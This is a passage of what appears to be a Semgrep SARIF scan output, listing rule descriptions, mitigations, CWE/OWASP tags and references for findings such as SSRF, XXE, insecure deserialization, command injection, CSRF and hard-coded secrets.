Finding: python.aws-lambda.security.pymysql-sqli.pymysql-sqli"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"If unverified user data can reach the `setContent` method it can result in Server-Side Request Forgery vulnerabilities"},"help":{"markdown":"If unverified user data can reach the `setContent` method it can result in Server-Side Request Forgery vulnerabilities\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.puppeteer.security.audit.puppeteer-setcontent-injection.puppeteer-setcontent-injection)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"If unverified user data can reach the `setContent` method it can result in Server-Side Request Forgery vulnerabilities"},"helpUri":"https://semgrep.dev/r/javascript.puppeteer.security.audit.puppeteer-setcontent-injection.puppeteer-setcontent-injection","id":"javascript.puppeteer.security.audit.puppeteer-setcontent-injection.puppeteer-setcontent-injection","name":"javascript.puppeteer.security.audit.puppeteer-setcontent-injection.puppeteer-setcontent-injection","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","LOW CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.puppeteer.security.audit.puppeteer-setcontent-injection.puppeteer-setcontent-injection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) We do not recommend deserializing untrusted data with the Castor XML Framework unless you explicitly define permissions for types that are allowed to be deserialized by `Castor`."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) We do not recommend deserializing untrusted data with the Castor XML Framework unless you explicitly define permissions for types that are allowed to be deserialized by `Castor`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.castor-deserialization-deepsemgrep.castor-deserialization-deepsemgrep)\n - [https://castor-data-binding.github.io/castor/reference-guide/reference/xml/xml-framework.html](https://castor-data-binding.github.io/castor/reference-guide/reference/xml/xml-framework.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) We do not recommend deserializing untrusted data with the Castor XML Framework unless you explicitly define permissions for types that are allowed to be deserialized by `Castor`."},"helpUri":"https://semgrep.dev/r/java.spring.security.castor-deserialization-deepsemgrep.castor-deserialization-deepsemgrep","id":"java.spring.security.castor-deserialization-deepsemgrep.castor-deserialization-deepsemgrep","name":"java.spring.security.castor-deserialization-deepsemgrep.castor-deserialization-deepsemgrep","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","MEDIUM CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.security.castor-deserialization-deepsemgrep.castor-deserialization-deepsemgrep"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Data from request is passed to a file name `$FILE`. This is a path traversal vulnerability, which can lead to sensitive data being leaked. To mitigate, consider using os.path.abspath or os.path.realpath or the pathlib library."},"help":{"markdown":"Data from request is passed to a file name `$FILE`. This is a path traversal vulnerability, which can lead to sensitive data being leaked. To mitigate, consider using os.path.abspath or os.path.realpath or the pathlib library.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.injection.path-traversal.path-traversal-file-name.path-traversal-file-name)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n","text":"Data from request is passed to a file name `$FILE`. This is a path traversal vulnerability, which can lead to sensitive data being leaked. To mitigate, consider using os.path.abspath or os.path.realpath or the pathlib library."},"helpUri":"https://semgrep.dev/r/python.django.security.injection.path-traversal.path-traversal-file-name.path-traversal-file-name","id":"python.django.security.injection.path-traversal.path-traversal-file-name.path-traversal-file-name","name":"python.django.security.injection.path-traversal.path-traversal-file-name.path-traversal-file-name","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.injection.path-traversal.path-traversal-file-name.path-traversal-file-name"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"'$VAR' is using the empty string as its default and is being used to set the password on '$MODEL'. If you meant to set an unusable password, set the default value to 'None' or call 'set_unusable_password()'."},"help":{"markdown":"'$VAR' is using the empty string as its default and is being used to set the password on '$MODEL'. If you meant to set an unusable password, set the default value to 'None' or call 'set_unusable_password()'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.passwords.use-none-for-password-default.use-none-for-password-default)\n - [https://docs.djangoproject.com/en/3.0/ref/contrib/auth/#django.contrib.auth.models.User.set_password](https://docs.djangoproject.com/en/3.0/ref/contrib/auth/#django.contrib.auth.models.User.set_password)\n","text":"'$VAR' is using the empty string as its default and is being used to set the password on '$MODEL'. If you meant to set an unusable password, set the default value to 'None' or call 'set_unusable_password()'."},"helpUri":"https://semgrep.dev/r/python.django.security.passwords.use-none-for-password-default.use-none-for-password-default","id":"python.django.security.passwords.use-none-for-password-default.use-none-for-password-default","name":"python.django.security.passwords.use-none-for-password-default.use-none-for-password-default","properties":{"precision":"very-high","tags":["CWE-521: Weak Password Requirements","MEDIUM CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.passwords.use-none-for-password-default.use-none-for-password-default"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected non-static command inside $PIPE. Audit the input to '$PIPE'. If unverified user data can reach this call site, this is a code injection vulnerability. A malicious actor can inject a malicious script to execute arbitrary code."},"help":{"markdown":"Detected non-static command inside $PIPE. Audit the input to '$PIPE'. If unverified user data can reach this call site, this is a code injection vulnerability. A malicious actor can inject a malicious script to execute arbitrary code.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.lang.security.dangerous-open3-pipeline.dangerous-open3-pipeline)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected non-static command inside $PIPE. Audit the input to '$PIPE'. If unverified user data can reach this call site, this is a code injection vulnerability. A malicious actor can inject a malicious script to execute arbitrary code."},"helpUri":"https://semgrep.dev/r/ruby.lang.security.dangerous-open3-pipeline.dangerous-open3-pipeline","id":"ruby.lang.security.dangerous-open3-pipeline.dangerous-open3-pipeline","name":"ruby.lang.security.dangerous-open3-pipeline.dangerous-open3-pipeline","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.lang.security.dangerous-open3-pipeline.dangerous-open3-pipeline"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Found user-controlled request data passed into '.write(...)'. This could be dangerous if a malicious actor is able to control data into sensitive files. For example, a malicious actor could force rolling of critical log files, or cause a denial-of-service by using up available disk space. Instead, ensure that request data is properly escaped or sanitized."},"help":{"markdown":"Found user-controlled request data passed into '.write(...)'. This could be dangerous if a malicious actor is able to control data into sensitive files. For example, a malicious actor could force rolling of critical log files, or cause a denial-of-service by using up available disk space. Instead, ensure that request data is properly escaped or sanitized.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.injection.request-data-write.request-data-write)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Found user-controlled request data passed into '.write(...)'. This could be dangerous if a malicious actor is able to control data into sensitive files. For example, a malicious actor could force rolling of critical log files, or cause a denial-of-service by using up available disk space. Instead, ensure that request data is properly escaped or sanitized."},"helpUri":"https://semgrep.dev/r/python.django.security.injection.request-data-write.request-data-write","id":"python.django.security.injection.request-data-write.request-data-write","name":"python.django.security.injection.request-data-write.request-data-write","properties":{"precision":"very-high","tags":["CWE-93: Improper Neutralization of CRLF Sequences ('CRLF Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.injection.request-data-write.request-data-write"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected controller which does not enable cross-site request forgery protections using 'protect_from_forgery'. Add 'protect_from_forgery :with => :exception' to your controller class."},"help":{"markdown":"Detected controller which does not enable cross-site request forgery protections using 'protect_from_forgery'. Add 'protect_from_forgery :with => :exception' to your controller class.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.lang.security.missing-csrf-protection.missing-csrf-protection)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n","text":"Detected controller which does not enable cross-site request forgery protections using 'protect_from_forgery'. Add 'protect_from_forgery :with => :exception' to your controller class."},"helpUri":"https://semgrep.dev/r/ruby.lang.security.missing-csrf-protection.missing-csrf-protection","id":"ruby.lang.security.missing-csrf-protection.missing-csrf-protection","name":"ruby.lang.security.missing-csrf-protection.missing-csrf-protection","properties":{"precision":"very-high","tags":["CWE-352: Cross-Site Request Forgery (CSRF)","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.lang.security.missing-csrf-protection.missing-csrf-protection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.secrets.pg.pg-hardcoded-secret.pg-hardcoded-secret)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/go.secrets.pg.pg-hardcoded-secret.pg-hardcoded-secret","id":"go.secrets.pg.pg-hardcoded-secret.pg-hardcoded-secret","name":"go.secrets.pg.pg-hardcoded-secret.pg-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: go.secrets.pg.pg-hardcoded-secret.pg-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Found a class extending 'SafeString', 'SafeText' or 'SafeData'. These classes are for bypassing the escaping engine built in to Django and should not be used directly. Improper use of this class exposes your application to cross-site scripting (XSS) vulnerabilities. If you need this functionality, use 'mark_safe' instead and ensure no user data can reach it."},"help":{"markdown":"Found a class extending 'SafeString', 'SafeText' or 'SafeData'. These classes are for bypassing the escaping engine built in to Django and should not be used directly. Improper use of this class exposes your application to cross-site scripting (XSS) vulnerabilities. If you need this functionality, use 'mark_safe' instead and ensure no user data can reach it.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.audit.xss.class-extends-safestring.class-extends-safestring)\n - [https://docs.djangoproject.com/en/3.1/howto/custom-template-tags/#filters-and-auto-escaping](https://docs.djangoproject.com/en/3.1/howto/custom-template-tags/#filters-and-auto-escaping)\n - [https://github.com/django/django/blob/f138e75910b1e541686c4dce3d8f467f6fc234cb/django/utils/safestring.py#L11](https://github.com/django/django/blob/f138e75910b1e541686c4dce3d8f467f6fc234cb/django/utils/safestring.py#L11)\n","text":"Found a class extending 'SafeString', 'SafeText' or 'SafeData'. These classes are for bypassing the escaping engine built in to Django and should not be used directly. Improper use of this class exposes your application to cross-site scripting (XSS) vulnerabilities. If you need this functionality, use 'mark_safe' instead and ensure no user data can reach it."},"helpUri":"https://semgrep.dev/r/python.django.security.audit.xss.class-extends-safestring.class-extends-safestring","id":"python.django.security.audit.xss.class-extends-safestring.class-extends-safestring","name":"python.django.security.audit.xss.class-extends-safestring.class-extends-safestring","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.audit.xss.class-extends-safestring.class-extends-safestring"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"DOCTYPE declarations are enabled for this SAXParserFactory. This is vulnerable to XML external entity attacks. Disable this by setting the feature `http://apache.org/xml/features/disallow-doctype-decl` to true. Alternatively, allow DOCTYPE declarations and only prohibit external entities declarations. This can be done by setting the features `http://xml.org/sax/features/external-general-entities` and `http://xml.org/sax/features/external-parameter-entities` to false. NOTE - The previous links are not meant to be clicked. They are the literal config key values that are supposed to be used to disable these features. For more information, see https://semgrep.dev/docs/cheat-sheets/java-xxe/#3a-documentbuilderfactory."},"help":{"markdown":"DOCTYPE declarations are enabled for this SAXParserFactory. This is vulnerable to XML external entity attacks. Disable this by setting the feature `http://apache.org/xml/features/disallow-doctype-decl` to true. Alternatively, allow DOCTYPE declarations and only prohibit external entities declarations. This can be done by setting the features `http://xml.org/sax/features/external-general-entities` and `http://xml.org/sax/features/external-parameter-entities` to false. NOTE - The previous links are not meant to be clicked. They are the literal config key values that are supposed to be used to disable these features. For more information, see https://semgrep.dev/docs/cheat-sheets/java-xxe/#3a-documentbuilderfactory.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.xxe.saxparserfactory-disallow-doctype-decl-missing.saxparserfactory-disallow-doctype-decl-missing)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n - [https://blog.sonarsource.com/secure-xml-processor](https://blog.sonarsource.com/secure-xml-processor)\n - [https://xerces.apache.org/xerces2-j/features.html](https://xerces.apache.org/xerces2-j/features.html)\n","text":"DOCTYPE declarations are enabled for this SAXParserFactory. This is vulnerable to XML external entity attacks. Disable this by setting the feature `http://apache.org/xml/features/disallow-doctype-decl` to true. Alternatively, allow DOCTYPE declarations and only prohibit external entities declarations. This can be done by setting the features `http://xml.org/sax/features/external-general-entities` and `http://xml.org/sax/features/external-parameter-entities` to false. NOTE - The previous links are not meant to be clicked. They are the literal config key values that are supposed to be used to disable these features. For more information, see https://semgrep.dev/docs/cheat-sheets/java-xxe/#3a-documentbuilderfactory."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.xxe.saxparserfactory-disallow-doctype-decl-missing.saxparserfactory-disallow-doctype-decl-missing","id":"java.lang.security.audit.xxe.saxparserfactory-disallow-doctype-decl-missing.saxparserfactory-disallow-doctype-decl-missing","name":"java.lang.security.audit.xxe.saxparserfactory-disallow-doctype-decl-missing.saxparserfactory-disallow-doctype-decl-missing","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.xxe.saxparserfactory-disallow-doctype-decl-missing.saxparserfactory-disallow-doctype-decl-missing"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. For more information, see: [Java command injection prevention](https://semgrep.dev/docs/cheat-sheets/java-command-injection/)"},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. For more information, see: [Java command injection prevention](https://semgrep.dev/docs/cheat-sheets/java-command-injection/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.micronaut.command-injection.tainted-system-command.tainted-system-command)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. For more information, see: [Java command injection prevention](https://semgrep.dev/docs/cheat-sheets/java-command-injection/)"},"helpUri":"https://semgrep.dev/r/java.micronaut.command-injection.tainted-system-command.tainted-system-command","id":"java.micronaut.command-injection.tainted-system-command.tainted-system-command","name":"java.micronaut.command-injection.tainted-system-command.tainted-system-command","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.micronaut.command-injection.tainted-system-command.tainted-system-command"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.gorilla.ssrf.gorilla-tainted-url-host.gorilla-tainted-url-host)\n - [https://goteleport.com/blog/ssrf-attacks/](https://goteleport.com/blog/ssrf-attacks/)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/go.gorilla.ssrf.gorilla-tainted-url-host.gorilla-tainted-url-host","id":"go.gorilla.ssrf.gorilla-tainted-url-host.gorilla-tainted-url-host","name":"go.gorilla.ssrf.gorilla-tainted-url-host.gorilla-tainted-url-host","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","HIGH CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: go.gorilla.ssrf.gorilla-tainted-url-host.gorilla-tainted-url-host"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.secrets.postgres.hardcoded-connection-url.hardcoded-connection-url)\n - [https://docs.rs/postgres/latest/postgres/](https://docs.rs/postgres/latest/postgres/)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/rust.secrets.postgres.hardcoded-connection-url.hardcoded-connection-url","id":"rust.secrets.postgres.hardcoded-connection-url.hardcoded-connection-url","name":"rust.secrets.postgres.hardcoded-connection-url.hardcoded-connection-url","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: rust.secrets.postgres.hardcoded-connection-url.hardcoded-connection-url"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The current configuration allows for XXE attacks through parameter entities. It is our recommendation to secure this parser against XXE attacks by configuring $PARSER with `$PARSER.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks with parameter entities. `$PARSER.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The current configuration allows for XXE attacks through parameter entities. It is our recommendation to secure this parser against XXE attacks by configuring $PARSER with `$PARSER.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks with parameter entities. `$PARSER.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.xxe.saxreader-xxe-parameter-entities.saxreader-xxe-parameter-entities)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/semgrep/java-xxe-research](https://github.com/semgrep/java-xxe-research)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://cwe.mitre.org/data/definitions/611.html](https://cwe.mitre.org/data/definitions/611.html)\n - [https://cwe.mitre.org/data/definitions/827.html](https://cwe.mitre.org/data/definitions/827.html)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The current configuration allows for XXE attacks through parameter entities. It is our recommendation to secure this parser against XXE attacks by configuring $PARSER with `$PARSER.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks with parameter entities. `$PARSER.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.lang.security.xxe.saxreader-xxe-parameter-entities.saxreader-xxe-parameter-entities","id":"java.lang.security.xxe.saxreader-xxe-parameter-entities.saxreader-xxe-parameter-entities","name":"java.lang.security.xxe.saxreader-xxe-parameter-entities.saxreader-xxe-parameter-entities","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.xxe.saxreader-xxe-parameter-entities.saxreader-xxe-parameter-entities"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Ensure that the expiration date is set on all secrets"},"help":{"markdown":"Ensure that the expiration date is set on all secrets\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.azure.security.keyvault.keyvault-ensure-secret-expires.keyvault-ensure-secret-expires)\n - [https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/key_vault_secret#expiration_date](https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/key_vault_secret#expiration_date)\n - [https://docs.microsoft.com/en-us/azure/key-vault/secrets/about-secrets](https://docs.microsoft.com/en-us/azure/key-vault/secrets/about-secrets)\n","text":"Ensure that the expiration date is set on all secrets"},"helpUri":"https://semgrep.dev/r/terraform.azure.security.keyvault.keyvault-ensure-secret-expires.keyvault-ensure-secret-expires","id":"terraform.azure.security.keyvault.keyvault-ensure-secret-expires.keyvault-ensure-secret-expires","name":"terraform.azure.security.keyvault.keyvault-ensure-secret-expires.keyvault-ensure-secret-expires","properties":{"precision":"very-high","tags":["CWE-262: Not Using Password Aging","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.azure.security.keyvault.keyvault-ensure-secret-expires.keyvault-ensure-secret-expires"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"User input is passed to a function that executes a shell command. This can lead to remote code execution."},"help":{"markdown":"User input is passed to a function that executes a shell command. This can lead to remote code execution.\n\n<b>References:</b>\n - [Semgrep 